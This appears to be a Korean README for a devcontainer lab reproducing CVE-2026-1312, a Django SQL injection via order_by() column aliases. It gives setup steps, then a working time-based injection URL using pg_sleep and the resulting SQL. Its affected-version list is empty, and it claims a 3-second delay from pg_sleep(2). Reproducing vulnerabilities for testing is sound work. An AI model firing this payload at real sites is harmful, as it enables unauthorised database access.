
CVE-2026-1312, Django SQL 인젝션 취약점을 Docker 기반 환경과 단계별 PoC로 재현하여 보안 테스트를 수행합니다.
CVE-2026-1312는 고위험 Django SQL 인젝션 취약점입니다. QuerySet.order_by()에서 점(.)이 포함된 열 별칭을 사용하고, FilteredRelation과 함께 사전을 통한 동적 쿼리 구성이 결합될 때, 공격자가 악성 SQL을 주입할 수 있습니다.
영향을 받는 버전:
이 취약점 프로젝트는 vscode의 devcontainer를 사용하여 구축됩니다.
1️⃣ 프로젝트 열기 VS Code로 이미 존재하는 프로젝트 루트 디렉터리(.devcontainer 폴더 포함)를 엽니다.
2️⃣ 컨테이너 다시 열기(Dev Container 구축)
Ctrl+Shift+P(Windows/Linux) 또는 Cmd+Shift+P(Mac)를 누릅니다.
Remote-Containers: Reopen in Container를 입력합니다.
VS Code가 .devcontainer 구성을 읽고 컨테이너를 구축합니다(첫 구축은 몇 분이 걸릴 수 있음).
⚠️ Dockerfile 또는 종속성이 업데이트된 경우 Remote-Containers: Rebuild Container를 선택하여 최신 환경을 사용할 수 있습니다.
3️⃣ Django 개발 서버 실행
명령 팔레트 Ctrl+Shift+P를 엽니다.
Tasks: Run Task를 입력합니다.
django:start를 선택합니다(작업은 .vscode/tasks.json에 구성되어 있음).
이 작업은 컨테이너 내에서 Django 개발 서버를 시작합니다.
기본적으로 0.0.0.0:8086을 수신합니다.
4️⃣ 브라우저를 열어 프로젝트에 접속합니다.
브라우저를 열고 접속합니다:
5️⃣ 주의사항
첫 실행 시:
데이터베이스 마이그레이션을 실행해야 할 수 있습니다:
python manage.py migrate
/book/search 인터페이스에 접속합니다. http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
3초 지연이 성공적으로 발생하는 것을 확인할 수 있습니다.
이때 django orm 하위에서 컴파일된 sql은 다음과 같습니다.
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC